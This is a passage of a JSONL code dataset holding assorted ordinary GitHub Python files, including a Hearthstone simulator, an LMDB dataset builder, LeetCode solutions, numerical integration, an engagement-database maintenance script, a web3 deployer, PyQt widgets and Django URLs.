 for minion in dummy:\n      if minion.health <= 0:\n        self.kill(minion)\n        print(dummy)\n    for weapon in [self.me.weapon,self.opponent.weapon]:\n      if weapon != None and weapon.health <= 0:\n        self.kill(weapon)\n    self.checkAuras()\n\n  #Kill a minion after running its deathrattle (unless specified otherwise)\n  def kill(self,minion,dr=True):\n    #Do not kill heroes\n    if isinstance(minion,Hero):\n      return\n    #Otherwise, remove from its board and the summon order\n    if isinstance(minion,Weapon):\n      if self.me.weapon == minion:\n        self.me.weapon = None\n      elif self.opponent.weapon == minion:\n        self.opponent.weapon = None\n    elif minion in self.myBoard:\n      self.runEffectAll('Death',minion)\n      self.myBoard.remove(minion)\n      self.summonOrder.remove(minion)\n    elif minion in self.oppBoard:\n      self.runEffectAll('Death',minion)\n      self.oppBoard.remove(minion)\n      self.summonOrder.remove(minion)\n    #Execute deathrattle, unless otherwise specified\n    if dr:\n      self.runEffect('Deathrattle',minion)\n\n  #Add or remove stats from a minion\n  def buff(self,target,atk,health,cost=0):\n    if isinstance(target,Minion or Hero):\n      target.buffAtk += atk\n      target.buffHealth += health\n      target.atk = target.baseAtk + target.buffAtk + target.auraAtk\n      target.atk = max(target.atk,0)\n      target.maxHealth = target.baseHealth + target.buffHealth + target.auraHealth\n      if target.maxHealth <= 0:\n        self.kill(target,self.myBoard.count(target)>0)\n      else:\n        target.health = target.maxHealth + target.damage\n    if not isinstance(target,Hero):\n      target.buffCost += cost\n      target.cost = max(target.baseCost + target.buffCost + target.auraCost, 0)\n    return True\n\n  def checkAuras(self):\n    #Reset aura buffs, including card cost\n    for i in self.summonOrder:\n      i.auraAtk = 0\n      i.auraHealth = 0\n    for i in self.myHand:\n      i.auraCost = 0\n    for i in self.oppHand:\n      i.auraCost = 0\n    #Run all aura effects and in-hand cost reduction effects\n    self.runEffectAll('Aura')\n    self.runEffectAll('Hand Aura',order=self.myHand)\n    self.runEffectAll('Hand Aura',order=self.oppHand)\n    #Use the buff method to re-calculate all minion stats\n    for i in self.summonOrder:\n      self.buff(i,0,0)\n    for i in self.myHand:\n      self.buff(i,0,0)\n    for i in self.oppHand:\n      self.buff(i,0,0)\n    \n  def addEffect(self,card,eType,effect=None):\n    if eType not in card.effects:\n      card.effects[eType] = effect\n    elif effect in card.effects:\n      return\n    else:\n      #what the fuck\n      return\n\n  #Switch the turn to the other player by switching the heroes and boards\n  def switchTurn(self):\n    self.runEffectAll('End of Turn')\n\n    #Remove frozen status if minions could have attacked this turn\n    for i in self.myBoard:\n      if 'Frozen' in i.effects and i.canAttack:\n        i.effects.remove('Frozen')\n\n    #Switch boards\n    if self.myBoard == self.board1:\n      self.myBoard = self.board2\n      self.oppBoard = self.board1\n    elif self.myBoard == self.board2:\n      self.myBoard = self.board1\n      self.oppBoard = self.board2\n\n    #Switch heroes\n    if self.me == self.hero1:\n      self.me = self.hero2\n      self.opponent = self.hero1\n    elif self.me == self.hero2:\n      self.me = self.hero1\n      self.opponent = self.hero2\n\n    #Switch hands\n    if self.myHand == self.hand1:\n      self.myHand = self.hand2\n      self.oppHand = self.hand1\n    elif self.myHand == self.hand2:\n      self.myHand = self.hand1\n      self.oppHand = self.hand2\n\n    #Reset all minion's attacks\n    for i in self.myBoard:\n      i.canAttack = True\n      if 'Windfury' in i.effects:\n        i.effects['Windfury'] = True\n\n    #Gain 1 mana\n    self.me.maxMana = min(10,self.me.maxMana+1)\n    self.me.mana = self.me.maxMana\n\n    self.runEffectAll('Start of Turn')\n\n  #Discard a card from the current hand\n  def discard(self,card):\n    self.myHand.remove(card)\n    self.runEffect('Discard',card)\n\n  #Find the minions adjacent to a specific minion\n  def getAdjacent(self,minion):\n    if minion in self.myBoard:\n      board = self.myBoard\n    elif minion in self.oppBoard:\n      board = self.oppBoard\n    else:\n      return []\n    pos = board.index(minion)\n    targets = []\n    try:\n      targets.append(board[pos-1])\n    except IndexError:\n      pass\n    try:\n      targets.append(board[pos+1])\n    except IndexError:\n      pass\n    return targets\n\n  #Silence a minion (this will currently cause problems with copying / adding to hand)\n  def silence(self,target):\n    target.buffAtk = 0\n    target.buffHealth = 0\n    target.effects = {}\n\n  #Get the position of a minion anywhere on the board\n  def getMinion(self,minion):\n    if minion in self.myBoard:\n      return self.myBoard.index(minion)\n    elif minion in self.oppBoard:\n      return self.oppBoard.index(minion)\n    return -1\n\n  #Return which board a minion is on\n  def getBoard(self,minion):\n    if minion in self.myBoard:\n      return self.myBoard\n    elif minion in self.oppBoard:\n      return self.oppBoard\n    return -1\n\n#Take card definitions from other files\nimport Classic\nimport Rastakhan\ncardDefs = [i for i in Classic.cardDefs]\nfor i in Rastakhan.cardDefs:\n  cardDefs.append(i)\n","repo_name":"Updownbanana/HearthAI","sub_path":"HearthCards.py","file_name":"HearthCards.py","file_ext":"py","file_size_in_byte":12742,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"39737325699","text":"#!/usr/bin/python\n# encoding: utf-8\n\n\"\"\"\n@author: Ian\n@file: main.py\n@time: 2019-06-19 15:42\n\"\"\"\nif __name__ == '__main__':\n    while True:\n        print('please select: 1) data explore; 2) train; 3) test')\n        a = input()\n        if a == 'q':\n            print(f'bye! {a}')\n            break\n        print(f'hi {a}')","repo_name":"mayi140611/mayiutils","sub_path":"apps/quant/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8853368541","text":"import os\nimport lmdb # install lmdb by \"pip install lmdb\"\nimport cv2\nimport numpy as np\nfrom tqdm import tqdm\nimport six\nfrom PIL import Image\nimport scipy.io as sio\nfrom tqdm import tqdm\nimport re\n\ndef checkImageIsValid(imageBin):\n  if imageBin is None:\n    return False\n  imageBuf = np.fromstring(imageBin, dtype=np.uint8)\n  # imageBuf = np.frombuffer(imageBin, dtype=np.uint8)\n  if imageBuf.size == 0:\n    return False\n  img = cv2.imdecode(imageBuf, cv2.IMREAD_GRAYSCALE)\n  imgH, imgW = img.shape[0], img.shape[1]\n  if imgH * imgW == 0:\n    return False\n  return True\n\n\ndef writeCache(env, cache):\n  with env.begin(write=True) as txn:\n    for k, v in cache.items():\n      txn.put(k.encode(), v)\n\n\ndef _is_difficult(word):\n  assert isinstance(word, str)\n  return not re.match('^[\\w]+$', word)\n\n\ndef createDataset(outputPath, imagePathList, labelList, lexiconList=None, checkValid=True):\n  \"\"\"\n  Create LMDB dataset for CRNN training.\n  ARGS:\n      outputPath    : LMDB output path\n      imagePathList : list of image path\n      labelList     : list of corresponding groundtruth texts\n      lexiconList   : (optional) list of lexicon lists\n      checkValid    : if true, check the validity of every image\n  \"\"\"\n  assert(len(imagePathList) == len(labelList))\n  nSamples = len(imagePathList)\n  env = lmdb.open(outputPath, map_size=1099511627776)\n  cache = {}\n  cnt = 1\n  for i in tqdm(range(nSamples)):\n    imagePath = imagePathList[i]\n    label = labelList[i]\n    if len(label) == 0:\n      continue\n    if not os.path.exists(imagePath):\n      print('%s does not exist' % imagePath)\n      continue\n    with open(imagePath, 'rb') as f:\n      imageBin = f.read()\n    if checkValid:\n      if not checkImageIsValid(imageBin):\n        print('%s is not a valid image' % imagePath)\n        continue\n\n    imageKey = 'image-%09d' % cnt\n    labelKey = 'label-%09d' % cnt\n    cache[imageKey] = imageBin\n    cache[labelKey] = label.encode()\n    if lexiconList:\n      lexiconKey = 'lexicon-%09d' % cnt\n      cache[lexiconKey] = ' '.join(lexiconList[i])\n    if cnt % 1000 == 0:\n      writeCache(env, cache)\n      cache = {}\n      print('Written %d / %d' % (cnt, nSamples))\n    cnt += 1\n  nSamples = cnt-1\n  cache['num-samples'] = str(nSamples).encode()\n  writeCache(env, cache)\n  print('Created dataset with %d samples' % nSamples)\n\nif __name__ == \"__main__\":\n  image_root_dir = '/home/ymk-wh/workspace/datasets/text_recognition/handwritten/IAM/words'\n  annot_path = '/home/ymk-wh/workspace/datasets/text_recognition/handwritten/IAM/ascii/words.txt'\n  lmdb_output_path = '/home/ymk-wh/workspace/datasets/text_recognition/handwritten_lmdbs/IAM_train'\n  split_path = '/home/ymk-wh/workspace/datasets/text_recognition/handwritten/IAM/splits/trainset.txt'\n\n  lmdb_output_path = '/home/ymk-wh/workspace/datasets/text_recognition/handwritten_lmdbs/IAM_test'\n  split_path = '/home/ymk-wh/workspace/datasets/text_recognition/handwritten/IAM/splits/testset.txt'\n\n  lmdb_output_path = '/home/ymk-wh/workspace/datasets/text_recognition/handwritten_lmdbs/IAM_val1'\n  split_path = '/home/ymk-wh/workspace/datasets/text_recognition/handwritten/IAM/splits/validationset1.txt'\n\n  lmdb_output_path = '/home/ymk-wh/workspace/datasets/text_recognition/handwritten_lmdbs/IAM_val2'\n  split_path = '/home/ymk-wh/workspace/datasets/text_recognition/handwritten/IAM/splits/validationset2.txt'\n\n  # load annotation\n  with open(annot_path, 'r') as f:\n    lines = f.readlines()\n    lines = [line.strip() for line in lines]\n  # load data split\n  with open(split_path, 'r') as f:\n    split_ids = f.readlines()\n    split_ids = [split_id.strip() for split_id in split_ids]\n  \n  image_path_list, label_list = [], []\n  for line in lines:\n    if line[0] == '#':\n      continue\n    splits = line.split(' ', 8)\n    image_name, seg_flag, _, x, y, w, h, tag, label = splits\n    if seg_flag == 'ok':\n      ids = image_name.split('-')\n      paper_id = ids[0]\n      line_id = '-'.join(ids[:2])\n      split_id = '-'.join(ids[:3])\n      if split_id in split_ids:\n        image_path = os.path.join(image_root_dir, paper_id, line_id, image_name + '.png')\n        image_path_list.append(image_path)\n        label_list.append(label)\n    \n  createDataset(lmdb_output_path, image_path_list, label_list)","repo_name":"ayumiymk/DiG","sub_path":"tools/create_iam_lmdb.py","file_name":"create_iam_lmdb.py","file_ext":"py","file_size_in_byte":4239,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"16"}
+{"seq_id":"44790522979","text":"\"\"\"\n给定一棵二叉树，设计一个算法，创建含有某一深度上所有节点的链表（比如，若一棵树的深度为 D，则会创建出 D 个链表）。返回一个包含所有深度的链表的数组。\n\n示例：\n\n输入：[1,2,3,4,5,null,7,8]\n\n        1\n       /  \\ \n      2    3\n     / \\    \\ \n    4   5    7\n   /\n  8\n\n输出：[[1],[2,3],[4,5,7],[8]]\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/list-of-depth-lcci\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n\"\"\"\n# 2020.9.16 在一番挣扎后写了出来，需活用树和链表\nfrom typing import List\n\n# Definition for a binary tree node.\nclass TreeNode:\n    def __init__(self, x):\n        self.val = x\n        self.left = None\n        self.right = None\n\n# Definition for singly-linked list.\nclass ListNode:\n    def __init__(self, x):\n        self.val = x\n        self.next = None\n\nclass Solution:\n    def listOfDepth(self, tree: TreeNode) -> List[ListNode]:\n        res = []\n        queue = [tree]\n        while queue:\n            head = ListNode(None)\n            start = head\n            for _ in range(len(queue)):\n                cur = queue.pop(0)\n                head.next = ListNode(cur.val)\n                head = head.next\n                if cur.left:\n                    queue.append(cur.left)\n                if cur.right:\n                    queue.append(cur.right)\n            res.append(start.next)  \n        return res\n\n\n# 网上的其他解法，不太容易理解\nclass Solution1:\n    def listOfDepth(self, root: TreeNode) -> List[ListNode]:\n        ans = []\n        def dfs(node, level):\n            if not node: return None\n            if len(ans) == level:\n                ans.append(ListNode(node.val))\n            else:\n                head = ListNode(node.val)\n                head.next = ans[level]\n                ans[level] = head\n            dfs(node.right, level + 1)\n            dfs(node.left, level + 1)\n        dfs(root, 0)\n        return ans\n","repo_name":"ZhiyuSun/leetcode-practice","sub_path":"程序员面试金典/0403_特定深度节点链表.py","file_name":"0403_特定深度节点链表.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"zh","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"72377922888","text":"import numpy as np\n#import matplotlib.pyplot as plt\n\n### SOLUTIONS\n# Composite trapezoid rule approximated the integral as 2.754548\n# Composite Simpson's rule approximated the integral as 2.738414\n\ndef f(s):\n    return 1/(1 + (s**2))\n\ndef trapezoid():\n    part = np.linspace(-5, 5, 50)\n    #print(part)\n    h = part[1] - part[0]\n    n = len(part)\n    sum_total = 0\n    #print(n)\n    \n    for i in range(1, n):\n        sum_total += f(part[0] + i*h)\n        \n    return (h/2)*(f(part[0]) + 2*sum_total + f(part[-1]))\n\ndef simpsons():\n    part = np.linspace(-5, 5, 50)\n    #print(part)\n    h = part[1] - part[0]\n    n = len(part)\n    sum_total_1 = 0\n    sum_total_2 = 0\n    x_j_1 = []\n    x_j_2 = []\n    \n    #for i in range(1, n):\n        #x_j.append(f(part[0] + i*h))\n        \n    for j in range(1, int((n/2) - 1)):\n        x_2j = part[0] + 2*j*h\n        sum_total_1 += f(x_2j)\n        \n    for k in range(1, int(n/2)):\n        x_2j_1 = part[0] + 2*k*h - h\n        sum_total_2 += f(x_2j_1)\n        \n    return (h/3)*(f(part[0]) + 2*sum_total_1 + 4*sum_total_2 + f(part[-1]))\n    \nprint(f'Result from composite trapezoid rule: {trapezoid()}')\nprint(f\"Result from composite Simpson's rule: {simpsons()}\")","repo_name":"LukeStuckenbruck/APPM_4600_repository","sub_path":"Homework/Homework_10/HW10_Q2_code.py","file_name":"HW10_Q2_code.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"12489185808","text":"import numpy as np\n\n\ndef circular_indices(lb, ub, thresh):\n    indices = []\n    while True:\n        stop = min(ub, thresh)\n        ix = np.arange(lb, stop)\n        indices.append(ix)\n        if stop != ub:\n            diff = ub - stop\n            lb = 0\n            ub = diff\n        else:\n            break\n\n    return np.concatenate(indices)\n\n\ndef npz_to_array(npzfile):\n    \"\"\"\"Get a list of numpy arrays from a npz file\"\"\"\n    nitems = len(npzfile.keys())\n    return [npzfile['arr_%s' % i]  for i in range(nitems)]\n","repo_name":"wacabanga/wacacore","sub_path":"wacacore/util/array.py","file_name":"array.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"404183358","text":"import argparse\nimport json\nimport subprocess\n\nfrom core_data_modules.cleaners import Codes, URNCleaner\nfrom core_data_modules.logging import Logger\nfrom engagement_database import EngagementDatabase\nfrom engagement_database.data_models import CommandLogEntry, CommandStatuses, HistoryEntryOrigin\nfrom google.cloud import firestore\nfrom id_infrastructure.firestore_uuid_table import FirestoreUuidTable\nfrom storage.google_cloud import google_cloud_utils\n\nlog = Logger(__name__)\n\nBATCH_SIZE = 500\n\n\n@firestore.transactional\ndef update_next_message_with_operator_nc(transaction, engagement_db, uuid_table, previous_message=None):\n    if previous_message is None:\n        query_filter = lambda q: q.order_by(\"last_updated\").order_by(\"message_id\") \\\n            .where(\"channel_operator\", \"==\", Codes.NOT_CODED) \\\n            .limit(1)\n    else:\n        query_filter = lambda q: q.order_by(\"last_updated\").order_by(\"message_id\") \\\n            .start_after(previous_message.to_dict()) \\\n            .where(\"channel_operator\", \"==\", Codes.NOT_CODED) \\\n            .limit(1)\n\n    messages = engagement_db.get_messages(query_filter, transaction)\n    if len(messages) == 0:\n        return None\n    message = messages[0]\n\n    urn = uuid_table.uuid_to_data(message.participant_uuid)\n    operator = URNCleaner.clean_operator(urn)\n\n    if operator == Codes.NOT_CODED:\n        log.warning(f\"Message {message.message_id} still has operator {Codes.NOT_CODED}\")\n        return message\n\n    log.info(f\"Updating message {message.message_id} to have operator {operator}{dry_run_text}...\")\n    message.channel_operator = operator\n\n    if not dry_run:\n        engagement_db.set_message(\n            message,\n            HistoryEntryOrigin(\"Update operator\", {}),\n            transaction\n        )\n\n    return message\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"Updates the channel_operator of all messages in an engagement \"\n                                                 \"database that are labelled with channel_operator 'NC', by \"\n                                                 \"redetermining the channel operator from the message urn\")\n\n    parser.add_argument(\"--dry-run\", const=True, default=False, action=\"store_const\")\n    parser.add_argument(\"user\", help=\"Identifier of the user launching this program\")\n    parser.add_argument(\"google_cloud_credentials_file_path\", metavar=\"google-cloud-credentials-file-path\",\n                        help=\"Path to a Google Cloud service account credentials file to use to access the \"\n                             \"credentials bucket\")\n    parser.add_argument(\"engagement_database_credentials_file_url\", metavar=\"engagement-database-credentials-file-url\",\n                        help=\"GS URL of the credentials for the Firestore project to export\")\n    parser.add_argument(\"database_path\", metavar=\"database-path\",\n                        help=\"Path to the engagement database to export e.g. engagement_databases/test\")\n    parser.add_argument(\"uuid_table_credentials_url\", metavar=\"uuid-table-credentials-url\",\n                        help=\"GS URL to the Firebase credentials file to use for the uuid table\")\n    parser.add_argument(\"uuid_table_name\", metavar=\"uuid-table-name\",\n                        help=\"Name of the uuid table to use to re-identify a participant\")\n    parser.add_argument(\"uuid_prefix\", metavar=\"uuid-prefix\",\n                        help=\"UUID prefix for the uuid_table\")\n\n    args = parser.parse_args()\n\n    dry_run = args.dry_run\n    user = args.user\n    google_cloud_credentials_file_path = args.google_cloud_credentials_file_path\n    engagement_database_credentials_file_url = args.engagement_database_credentials_file_url\n    database_path = args.database_path\n    uuid_table_credentials_url = args.uuid_table_credentials_url\n    uuid_table_name = args.uuid_table_name\n    uuid_prefix = args.uuid_prefix\n\n    dry_run_text = \" (dry run)\" if dry_run else \"\"\n\n    commit = subprocess.check_output([\"git\", \"rev-parse\", \"HEAD\"]).decode().strip()\n    project = subprocess.check_output([\"git\", \"config\", \"--get\", \"remote.origin.url\"]).decode().strip()\n    HistoryEntryOrigin.set_defaults(user, project, \"NA\", commit)\n\n    log.info(\"Downloading Firestore engagement database credentials...\")\n    engagement_database_credentials = json.loads(google_cloud_utils.download_blob_to_string(\n        google_cloud_credentials_file_path,\n        engagement_database_credentials_file_url\n    ))\n    engagement_db = EngagementDatabase.init_from_credentials(engagement_database_credentials, database_path)\n    log.info(f\"Initialised the Engagement Database client\")\n\n    log.info(\"Downloading Firestore UUID Table credentials...\")\n    firestore_uuid_table_credentials = json.loads(google_cloud_utils.download_blob_to_string(\n        google_cloud_credentials_file_path,\n        uuid_table_credentials_url\n    ))\n    uuid_table = FirestoreUuidTable.init_from_credentials(\n        firestore_uuid_table_credentials,\n        uuid_table_name,\n        uuid_prefix\n    )\n    log.info(\"Initialised the Firestore UUID table\")\n\n    if not dry_run:\n        engagement_db.set_command_log_entry(CommandLogEntry(status=CommandStatuses.STARTED))\n\n    log.info(f\"Updating messages labelled with channel_operator {Codes.NOT_CODED}{dry_run_text}...\")\n    total_messages = 0\n    msg = update_next_message_with_operator_nc(engagement_db.transaction(), engagement_db, uuid_table)\n    while msg is not None:\n        total_messages += 1\n        log.info(f\"Processed {total_messages} messages so far\")\n        msg = update_next_message_with_operator_nc(engagement_db.transaction(), engagement_db, uuid_table, msg)\n\n    if not dry_run:\n        engagement_db.set_command_log_entry(CommandLogEntry(status=CommandStatuses.COMPLETED_SUCCESSFULLY))\n\n    log.info(f\"Done. Processed {total_messages} messages{dry_run_text}\")\n","repo_name":"AfricasVoices/tools","sub_path":"engagement_database/update_channel_operator_nc_messages.py","file_name":"update_channel_operator_nc_messages.py","file_ext":"py","file_size_in_byte":5863,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"74902561609","text":"import sys\nimport pandas as pd\nimport numpy as np\nfrom sqlalchemy import create_engine\n\ndef load_data(messages_filepath, categories_filepath):\n    \"\"\"\n        Load data from the csv. \n    Args: \n        messages_filepath: the path to the messages.csv \n        categories_filepath: the path to the messages.csv \n    Returns: \n        merged_df (DataFrame): return merged dataframe with messages and categories\n    \"\"\"\n    messages = pd.read_csv(messages_filepath)\n    categories = pd.read_csv(categories_filepath)\n    df = pd.merge(messages, categories, on = 'id', how ='outer')\n    return df\n\n\ndef clean_data(df):\n    \"\"\"\n        Clean and transform the previous merged df. \n    Args: \n        df: The merged dataframe\n    Returns: \n        df (DataFrame): messages and categories(numerical) merged dataframe\n    \"\"\"\n    \n    # create a dataframe of the 36 individual category columns\n    categories = df['categories'].str.split(';', expand=True)\n    \n    # select the first row of the categories dataframe\n    row = categories.iloc[0]\n    \n    # extract a list of new column names for categories.\n    category_colnames = row.apply(lambda x: x.split('-')[0])\n    \n    # rename the columns of `categories`\n    categories.columns = category_colnames\n    \n    # replace original values into 1 and 0\n    for column in categories:\n        categories[column] = categories[column].astype(str).str[-1]    \n        categories[column] = categories[column].astype(int)\n    \n    #replace 2 to 1 to make a binary column\n    categories[\"related\"] = categories.related.replace({2:1})\n    \n    # replace the old categories column\n    df.drop('categories', axis = 1, inplace = True)\n    df = pd.concat([df, categories], axis=1)\n    \n    # drop duplicates\n    df = df.drop_duplicates()\n    \n    return df\n\n\ndef save_data(df, database_filename):\n    \"\"\"\n        Save processed dataframe into sqlite database\n    Args: \n        df: Dataframe to be saved\n        database_filename: File path of SQL Database to be saved\n    Returns: \n        None\n    \"\"\"\n    # save data into a sqlite database\n    engine = create_engine('sqlite:///' + database_filename)\n    df.to_sql('DisasterResponse', engine, index=False, if_exists='replace')\n\n\n\ndef main():\n    if len(sys.argv) == 4:\n\n        messages_filepath, categories_filepath, database_filepath = sys.argv[1:]\n\n        print('Loading data...\\n    MESSAGES: {}\\n    CATEGORIES: {}'\n              .format(messages_filepath, categories_filepath))\n        df = load_data(messages_filepath, categories_filepath)\n\n        print('Cleaning data...')\n        df = clean_data(df)\n        \n        print('Saving data...\\n    DATABASE: {}'.format(database_filepath))\n        save_data(df, database_filepath)\n        \n        print('Cleaned data saved to database!')\n    \n    else:\n        print('Please provide the filepaths of the messages and categories '\\\n              'datasets as the first and second argument respectively, as '\\\n              'well as the filepath of the database to save the cleaned data '\\\n              'to as the third argument. \\n\\nExample: python process_data.py '\\\n              'disaster_messages.csv disaster_categories.csv '\\\n              'DisasterResponse.db')\n\n\nif __name__ == '__main__':\n    main()","repo_name":"jdjaramillou/Data-Scientist-Nanodegree-Program","sub_path":"Project2/data/process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":3248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12696141052","text":"#!/usr/bin/python3\n\"\"\"\n    prints my github id\n\"\"\"\n\nimport requests\nimport sys\n\nif __name__ == \"__main__\":\n    site = 'https://api.github.com/user'\n    uid = sys.argv[1]\n    pw = sys.argv[2]\n    resp = requests.get(site, auth=(uid, pw))\n    acc = resp.json()\n    print(acc.get('id'))\n","repo_name":"gavazcal/holbertonschool-higher_level_programming","sub_path":"0x11-python-network_1/10-my_github.py","file_name":"10-my_github.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14868980387","text":"from eth_account import account\nfrom eth_utils import address\nfrom web3 import Web3\nimport json\n\n\n# deploy contract, return reciept and abi\ndef deploy(path, account, w3, *args):\n    with open(f\"bin/{path}.abi\", \"r\") as abi_p:\n        abi = json.loads(abi_p.read())\n    with open(f\"bin/{path}.bin\", \"r\") as bytecode_p:\n        bytecode = bytecode_p.read()\n    \n    contract = w3.eth.contract(abi=abi, bytecode=bytecode)\n    # print(f\"Account {account} balance before deployment: {w3.eth.getBalance(account)}\")\n\n    tx_hash = contract.constructor(*args).transact({\"from\": account})\n    tx_reciept = w3.eth.get_transaction_receipt(tx_hash)\n\n    # print(f\"Account {account} balance after deployment: {w3.eth.getBalance(account)}\")\n    return tx_reciept, abi\n\n\n# deploy and get contract object\ndef build_contract(path, account, w3, *args):\n    tx_reciept, abi = deploy(path, account, w3, *args)\n    return tx_reciept, w3.eth.contract(address=tx_reciept[\"contractAddress\"], abi=abi)\n\n\n# example use of deploy.py\ndef _hello_world():\n    w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))\n    account = w3.eth.accounts[0]\n    _, contract = build_contract(\"contracts/HelloWorld\", account, w3, \"Hi!\")\n    \n    print(contract.functions.getMessage().call())\n    contract.functions.changeMessage(\"Hello!\").transact({\"from\": account})\n    print(contract.functions.getMessage().call())","repo_name":"ramgos/RPSsolidity","sub_path":"deploy.py","file_name":"deploy.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22416079351","text":"# labels: test_group::mlagility name::yolos_tiny_for_object_detection author::huggingface_pytorch task::Computer_Vision\n\"\"\"https://huggingface.co/hustvl/yolos-tiny\"\"\"\nfrom mlagility.parser import parse\nimport transformers\nimport torch\n\n# Parsing command-line arguments\nbatch_size, height, num_channels, width = parse(\n    [\"batch_size\", \"height\", \"num_channels\", \"width\"]\n)\n\n\n# Model and input configurations\nmodel = transformers.YolosForObjectDetection.from_pretrained(\"hustvl/yolos-tiny\")\n\ninputs = {\n    \"pixel_values\": torch.ones(\n        [batch_size, num_channels, height, width], dtype=torch.float\n    )\n}\n\n\n# Call model\nmodel(**inputs)\n","repo_name":"groq/mlagility","sub_path":"models/transformers/yolos_tiny_for_object_detection.py","file_name":"yolos_tiny_for_object_detection.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"16"}
+{"seq_id":"29706399178","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nfrom PyQt4 import QtGui, QtCore\n\nmargin = 4\nspacing = 4\n\n\nclass Box(QtGui.QBoxLayout):\n    _horizontal = QtGui.QBoxLayout.LeftToRight\n    _vertical = QtGui.QBoxLayout.TopToBottom\n\n    def __init__(self, direction, QWidget_parent=None,\n                 margin=margin, spacing=spacing):\n        \"\"\"\n\n        :param direction: Box._horizontal \\ Box._vertical\n        :param QWidget_parent: QWidget\n        :param margin: поле вокруг\n        :param spacing: интервал (шаг) между виджетами\n        \"\"\"\n        super().__init__(direction, QWidget_parent)\n        self.setDirection(direction)\n        self.setMargin(margin)\n        self.setSpacing(spacing)\n\n\nclass ToolButton(QtGui.QToolButton):\n    def __init__(self, name, parent=None):\n        super().__init__()\n        self.parent = parent\n        self._name = name\n        self.setObjectName(self.name)\n\n    @property\n    def name(self):\n        return str(self._name)\n\n    @name.setter\n    def name(self, name):\n        print(name)\n        self._name = str(name)\n\n\nclass GameButton(ToolButton):\n    def __init__(self, object_name, index):\n        super().__init__(object_name)\n        self.index = index\n        self.setObjectName(self._name)\n\n    def __repr__(self):\n        return \"\"\"\n        object - {};\n        object_name - {};\n        index - {}\n        \"\"\".format(self.__class__.__name__, self._name, self.index)\n\n\nclass SettingButton(QtGui.QPushButton):\n    def __init__(self, name, size):\n        \"\"\"\n\n        :type size_button: int\n        :type size_icon: int\n        :type name: str\n        \"\"\"\n        super().__init__()\n        self.setObjectName(name)\n        self.setIconSize(QtCore.QSize(size, size))\n        self.setFixedSize(size + 2, size + 2)\n\n\nclass Frame(QtGui.QFrame):\n    def __init__(self, name, parent):\n        super().__init__(parent)\n        self.setObjectName(name)\n        self.setParent(parent)\n\n\nclass MenegerFrame(Frame):\n    def __init__(self, name, parent=None):\n        super().__init__(name, parent=None)\n\n\nclass ToolGame(Frame):\n    def __init__(self, name, parent=None):\n        super().__init__(name, parent=None)\n\n\nclass FaderWidget(QtGui.QWidget):\n    def __init__(self, old_widget, new_widget):\n        QtGui.QWidget.__init__(self, new_widget)\n\n        self.old_pixmap = QtGui.QPixmap(new_widget.size())\n        old_widget.render(self.old_pixmap)\n        self.pixmap_opacity = 1.0\n\n        self.timeline = QtCore.QTimeLine()\n        self.timeline.valueChanged.connect(self.animate)\n        self.timeline.finished.connect(self.close)\n        self.timeline.setDuration(999)\n        self.timeline.start()\n\n        self.resize(new_widget.size())\n        self.show()\n\n    def paintEvent(self, event):\n        painter = QtGui.QPainter()\n        painter.begin(self)\n        painter.setOpacity(self.pixmap_opacity)\n        painter.drawPixmap(0, 0, self.old_pixmap)\n        painter.end()\n\n    def animate(self, value):\n        self.pixmap_opacity = 1.0 - value\n        self.repaint()\n\n\nclass StackedLayout(QtGui.QStackedLayout):\n    def __init__(self, parent=None, *__args):\n        super().__init__(*__args)\n\n\n    def add_widget(self, QWidget):\n        self.addWidget(QWidget)\n\n","repo_name":"zaswed76/cube110_v5","sub_path":"gui/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":3258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2420036988","text":"from django.conf.urls import url\nfrom . import views\nfrom shop.views import IndexView\n\n\napp_name = 'shop'\n\nurlpatterns = [\n\turl(r'^$', IndexView.as_view(), name='index'),\n\turl(r'^register/', views.RegisterCreate.as_view(), name='register'),\n\turl(r'^coffee/', views.coffee_view, name='coffee_view'),\n\turl(r'^baked/', views.baked_view, name='baked'),\n\turl(r'^contacts/', views.contacts_view, name='contacts'),\n\n]\n","repo_name":"Drew81/CoffeeShopReg","sub_path":"coffee/shop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
